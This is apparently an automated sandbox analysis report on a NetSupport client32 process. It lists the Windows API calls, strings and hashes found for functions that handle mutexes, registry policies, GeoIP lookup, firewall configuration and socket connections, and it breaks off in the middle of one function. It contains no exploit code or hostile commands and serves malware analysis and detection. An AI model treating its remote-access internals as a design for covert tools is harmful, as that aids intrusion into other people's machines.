GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11086163
wsprintfA.USER32 ref: 110861EB
wsprintfA.USER32 ref: 11086202
wsprintfA.USER32 ref: 11086219
CloseHandle.KERNEL32(00000000,11085F40,00000001,00000000), ref: 1108636A

Part of subcall function 11085D50: CloseHandle.KERNEL32(?,7591F550,?,?,11086390,?,11032002,03407888,00000000,?,?,?), ref: 11085D68
Part of subcall function 11085D50: CloseHandle.KERNEL32(?,7591F550,?,?,11086390,?,11032002,03407888,00000000,?,?,?), ref: 11085D7B
Part of subcall function 11085D50: CloseHandle.KERNEL32(?,7591F550,?,?,11086390,?,11032002,03407888,00000000,?,?,?), ref: 11085D8E
Part of subcall function 11085D50: FreeLibrary.KERNEL32(00000000,7591F550,?,?,11086390,?,11032002,03407888,00000000,?,?,?), ref: 11085DA1

Strings

GetInventoryEx, xrefs: 11086157
%s_SW.%s, xrefs: 110861FC
Cancel, xrefs: 11086149
%s_HW.%s, xrefs: 110861E2
PCIINV.DLL, xrefs: 11086110
GetInventory, xrefs: 11086135
%s_HF.%s, xrefs: 11086213

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_malloc_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 4263811268-2492245516
Opcode ID: 79300dc539d0ee21f2e412ecc2afba85115f3a9800858e180ea8acaac6af75d4
Instruction ID: cc6116ccc6b21cbbfdc815c98c7fdad09c9720580d605ccac26d10648bac74b6
Opcode Fuzzy Hash: 79300dc539d0ee21f2e412ecc2afba85115f3a9800858e180ea8acaac6af75d4
Instruction Fuzzy Hash: 5471CDB4E44709ABEB10CF79DC51BDAFBE8EB48304F00456AF95AD7280EB75A500CB94

Function 11030B78 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 190synchronizationlibraryloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,00000000,PCIMutex), ref: 11030CB3
CreateMutexA.KERNEL32(00000000,00000000,PCIMutex), ref: 11030CCA
GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 11030D6C
SetLastError.KERNEL32(00000078), ref: 11030D82
WaitForSingleObject.KERNEL32(?,000001F4), ref: 11030DBC
CloseHandle.KERNEL32(?), ref: 11030DC9
FreeLibrary.KERNEL32(?), ref: 11030DD4
CloseHandle.KERNEL32(00000000), ref: 11030DDB

Strings

_debug\tracefile, xrefs: 11030C16
istaUI, xrefs: 11030BCD
_debug\trace, xrefs: 11030C04
/247, xrefs: 11030CD6
PCIMutex, xrefs: 11030CA3, 11030CC3
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 11030BEA
SetProcessDPIAware, xrefs: 11030D66

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandleMutex$AddressCreateErrorFreeLastLibraryObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$_debug\trace$_debug\tracefile$istaUI
API String ID: 2061479752-1320826866
Opcode ID: 31d4d7e0d446ccaa05157b9b8574c54ec02251f8c6dcbf221a4ba88b6680946e
Instruction ID: 041cc1499d836288ec3ce923e3d2bdfde1aeba2e10a7f52041b4b34688633552
Opcode Fuzzy Hash: 31d4d7e0d446ccaa05157b9b8574c54ec02251f8c6dcbf221a4ba88b6680946e
Instruction Fuzzy Hash: 64610974E1631A9FEB15DBB08D89B9DF7B4AF4070DF0040A8E915A72C5EF74AA40CB51

Function 11106E70 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 11106E9E
EnterCriticalSection.KERNEL32(111F160C), ref: 11106EA7
GetTickCount.KERNEL32 ref: 11106EAD
GetTickCount.KERNEL32 ref: 11106F00
LeaveCriticalSection.KERNEL32(111F160C), ref: 11106F09
GetTickCount.KERNEL32 ref: 11106F3A
LeaveCriticalSection.KERNEL32(111F160C), ref: 11106F43
EnterCriticalSection.KERNEL32(111F160C), ref: 11106F6C
LeaveCriticalSection.KERNEL32(111F160C,00000000,?,00000000), ref: 11107033

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 110F1080: InitializeCriticalSection.KERNEL32(00000038,00000000,00000000,?,00000000,?,11106FD7,?), ref: 110F10AB

Strings

psi, xrefs: 11106EF3, 11106FA8, 11106FEE
Warning. took %d ms to get simap lock, xrefs: 11106EB9
Warning. simap lock held for %d ms, xrefs: 11106F19, 11106F53
info. new psi(%d) = %x, xrefs: 11107021
e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 11106EEE, 11106FA3, 11106FE9

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$Initialize_malloc_memsetwsprintf
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$info. new psi(%d) = %x$psi
API String ID: 1574099134-3013461081
Opcode ID: df4902ffb87e1d2cb2b27f82f6ea2afa4ed876c6644a62c430f637ec615cd2dd
Instruction ID: b37b6005da44a37f7a6c975450b0fd24ca11ef460d9c524a884b745d5c10ab20
Opcode Fuzzy Hash: df4902ffb87e1d2cb2b27f82f6ea2afa4ed876c6644a62c430f637ec615cd2dd
Instruction Fuzzy Hash: 5B414D7AF0022AABD700DFE59D91FDEFBB8EB46218F50053AF409E7240EA30690487D1

Function 1102D360 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 289servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,1102E368,00000000,EFF676FC,?,00000000,00000000), ref: 1102D594
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102D5AA
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102D5BE
CloseServiceHandle.ADVAPI32(00000000), ref: 1102D5C5
Sleep.KERNEL32(00000032), ref: 1102D5D6
CloseServiceHandle.ADVAPI32(00000000), ref: 1102D5E6
Sleep.KERNEL32(000003E8), ref: 1102D632
CloseHandle.KERNEL32(?), ref: 1102D65F

Strings

IKS.LIC, xrefs: 1102D6B6, 1102D6BD, 1102D6ED
NSA.LIC, xrefs: 1102D6A6
NSM.LIC, xrefs: 1102D697
>, xrefs: 1102D50B
ProtectedStorage, xrefs: 1102D5A4

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$IKS.LIC$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-1096744297
Opcode ID: 16638ad64ad6c87bf80ad98c247ef6ea51b2bd2907fd9caef6a18a875ee6ead4
Instruction ID: 28ce5055a28a8f5180363266ffebbc24acbf765ee5ceddae65e6c679609cb99b
Opcode Fuzzy Hash: 16638ad64ad6c87bf80ad98c247ef6ea51b2bd2907fd9caef6a18a875ee6ead4
Instruction Fuzzy Hash: 3DB18F75E012259BEB25CF64CC84BEDB7B5BB49708F5041E9E919AB380DB70AE80CF50

Function 1102CB60 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 111100D0: SetEvent.KERNEL32(00000000,?,1102CB9F), ref: 111100F4

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102CBA5
GetTickCount.KERNEL32 ref: 1102CBCA

Part of subcall function 110D0960: __strdup.LIBCMT ref: 110D097A

GetTickCount.KERNEL32 ref: 1102CCC4

Part of subcall function 110D15C0: wvsprintfA.USER32(?,?,1102CC61), ref: 110D15EB

Part of subcall function 110D0A10: _free.LIBCMT ref: 110D0A3D

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102CDBC
CloseHandle.KERNEL32(?), ref: 1102CDD8

Strings

IsA(), xrefs: 1102CE0E, 1102CE22, 1102CE36, 1102CE4A
_debug, xrefs: 1102CC18, 1102CC7A
?IP=%s, xrefs: 1102CC56
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102CE09, 1102CE1D, 1102CE31, 1102CE45
GetLatLong=%s, took %d ms, xrefs: 1102CCE1
GeoIP, xrefs: 1102CC13
http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102CBE5
LatLong, xrefs: 1102CB88, 1102CC75

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-1725438197
Opcode ID: 4b4be5afc825d4046c7b89c8e65dc4458f3d4dc60d274e6f777fc83c6e95621d
Instruction ID: dd5538bcf42f02d8fc6af97e821dff418cbfa7b7de554536dce4014f8caac367
Opcode Fuzzy Hash: 4b4be5afc825d4046c7b89c8e65dc4458f3d4dc60d274e6f777fc83c6e95621d
Instruction Fuzzy Hash: 62817E34E0021A9BDF04DBE4CD90FEEF7B5AF55348F508259E82667284DB74BA05CBA1

Function 11062220 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,Software\Policies\NetSupport\Client,00000000,00020019,?,00000000,?,?), ref: 1106227A

Part of subcall function 11061C60: RegOpenKeyExA.ADVAPI32(00000003,?,00000000,00020019,?,?), ref: 11061C9C
Part of subcall function 11061C60: RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,?,?,?,?,00000000), ref: 11061CF4

RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 110622CB
RegEnumKeyExA.ADVAPI32(?,00000001,?,00000100,00000000,00000000,00000000,00000000), ref: 11062385
RegCloseKey.ADVAPI32(?), ref: 110623A1

Strings

Software\Policies\NetSupport\Client, xrefs: 11062274
Client, xrefs: 11062288, 110623B8
Software\Policies\NetSupport, xrefs: 1106231F
Software\Policies\NetSupport\Client\Standard, xrefs: 1106228D
DisableUserPolicies, xrefs: 110623B3
Client, xrefs: 1106231A
Client.%04d.%s, xrefs: 11062307
%s\%s\%s\, xrefs: 11062324
Standard, xrefs: 110622E6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Enum$Open$CloseValue
String ID: %s\%s\%s\$Client$Client$Client.%04d.%s$DisableUserPolicies$Software\Policies\NetSupport$Software\Policies\NetSupport\Client$Software\Policies\NetSupport\Client\Standard$Standard
API String ID: 2823542970-1528906934
Opcode ID: 9e66086bdcfe763fdfca1dd6d11cb513a07c5b652eaae9028f71572ee86393c5
Instruction ID: 91282df486796d8d45fa06834b6704f4eef725291cd5fd64ae30f86ab301b8e1
Opcode Fuzzy Hash: 9e66086bdcfe763fdfca1dd6d11cb513a07c5b652eaae9028f71572ee86393c5
Instruction Fuzzy Hash: F6415E79A0022D6BD724CF51DC81FEAB7BCEF58748F1041D9EA49A6140DBB06E85CFA1

Function 11138580 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 1105E820: __wcstoi64.LIBCMT ref: 1105E85D

GetTickCount.KERNEL32 ref: 111385E2

Part of subcall function 11096D90: CoInitialize.OLE32(00000000), ref: 11096DA4
Part of subcall function 11096D90: CLSIDFromProgID.OLE32(HNetCfg.FwMgr,?,?,?,?,?,?,?,111385EB), ref: 11096DBE
Part of subcall function 11096D90: CoCreateInstance.OLE32(?,00000000,00000001,111C1B4C,?,?,?,?,?,?,?,111385EB), ref: 11096DDB
Part of subcall function 11096D90: CoUninitialize.OLE32(?,?,?,?,?,?,111385EB), ref: 11096DF9

GetTickCount.KERNEL32 ref: 111385F1
_memset.LIBCMT ref: 11138633
GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 11138649
_strrchr.LIBCMT ref: 11138658
_free.LIBCMT ref: 111386AA

Strings

ICFConfig2 returned 0x%x, xrefs: 111386B0
IsICFPresent..., xrefs: 111385CF
ICFConfig, xrefs: 11138595
Client, xrefs: 111385BC
IsICFPresent() took %d ms, xrefs: 111385FD
No ICF present, xrefs: 111386E2
*AutoICFConfig, xrefs: 111385B7

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig$ICFConfig2 returned 0x%x$IsICFPresent() took %d ms$IsICFPresent...$No ICF present
API String ID: 711243594-1270230032
Opcode ID: 5eb3671e29344256acc8e4b42e6a6c739429c132e016e962bb157113eab44bd9
Instruction ID: 5891752c4c55aadc8c036c0ba7fa863b534ef4ea4707a2085efa3f6ff011156f
Opcode Fuzzy Hash: 5eb3671e29344256acc8e4b42e6a6c739429c132e016e962bb157113eab44bd9
Instruction Fuzzy Hash: D8419C7AE0012E9BD710DB755C85FDAF778EB5531CF0001B9EC0997284EAB1A944CBE1

Function 6EEF7610 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 111networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32 ref: 6EEF7642
connect.WSOCK32(00000000,?,?), ref: 6EEF7659
WSAGetLastError.WSOCK32(00000000,?,?), ref: 6EEF7660
_memmove.LIBCMT ref: 6EEF76D3
select.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000,?,00000000), ref: 6EEF76F3
GetTickCount.KERNEL32 ref: 6EEF7717
ioctlsocket.WSOCK32 ref: 6EEF775C
SetLastError.KERNEL32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6EEF7762
WSAGetLastError.WSOCK32(00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000,?,00000000), ref: 6EEF777A
__WSAFDIsSet.WSOCK32(00000000,?,00000001,00000000,?,?,?,?,?,00001004,00000000,?,00000010,00000002,00000001,00000000), ref: 6EEF778B

Strings

General, xrefs: 6EEF7683
ConnectTimeout, xrefs: 6EEF767E
*BlockingIO, xrefs: 6EEF7732

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$ioctlsocket$CountTick_memmoveconnectselect
String ID: *BlockingIO$ConnectTimeout$General
API String ID: 4218156244-2969206566
Opcode ID: ba8ff20aac7b407366a5564eff13ae2f12b7409ed9e1bdbaa9b7e1be8a5de9cb
Instruction ID: 55a44fe6cc5493066bf74cba0e9dcd417c3c22184e03997ee493c66f081607e0
Opcode Fuzzy Hash: ba8ff20aac7b407366a5564eff13ae2f12b7409ed9e1bdbaa9b7e1be8a5de9cb
Instruction Fuzzy Hash: 03411A71D24319DBE7209BE4CC58BD973BEAF44308F20449AE90D971C1EB709A5ACBA1

Function 11134D90 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11146010: _memset.LIBCMT ref: 11146055
Part of subcall function 11146010: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114606E
Part of subcall function 11146010: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11146095
Part of subcall function 11146010: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111460A7
Part of subcall function 11146010: FreeLibrary.KERNEL32(00000000), ref: 111460BF
Part of subcall function 11146010: GetSystemDefaultLangID.KERNEL32 ref: 111460CA

AdjustWindowRectEx.USER32(11142328,00CE0000,00000001,00000001), ref: 11134DD7
LoadMenuA.USER32(00000000,000003EC), ref: 11134DE8
GetSystemMetrics.USER32(00000021), ref: 11134DF9
GetSystemMetrics.USER32(0000000F), ref: 11134E01
GetSystemMetrics.USER32(00000004), ref: 11134E07
GetDC.USER32(00000000), ref: 11134E13
GetDeviceCaps.GDI32(00000000,0000005A), ref: 11134E1E
ReleaseDC.USER32(00000000,00000000), ref: 11134E2A
CreateWindowExA.USER32(00000001,NSMWClass,033F0E88,00CE0000,80000000,80000000,11142328,?,00000000,?,11000000,00000000), ref: 11134E7F
GetLastError.KERNEL32(?,?,?,?,?,110F8239,00000001,11142328,_debug), ref: 11134E87

Strings

mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 11134E3E
CreateMainWnd, hwnd=%x, e=%d, xrefs: 11134E8F
NSMWClass, xrefs: 11134E79

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-1114959992
Opcode ID: 66ba732ae51c7fd460c66f2128e0a3373d5a4979d1dd1b3930dacd21693fd196
Instruction ID: ea278f5fd7360d42281fd81be3dd0b2008dee34a98883b586f11dcb677731357
Opcode Fuzzy Hash: 66ba732ae51c7fd460c66f2128e0a3373d5a4979d1dd1b3930dacd21693fd196
Instruction Fuzzy Hash: 04317075A40229ABDB149FE58D85FAEFBB8FB48709F100528FA11A7644D6746900CBA4

Function 11133B00 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11133B70
GetTickCount.KERNEL32 ref: 11133BA1
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11133BB4
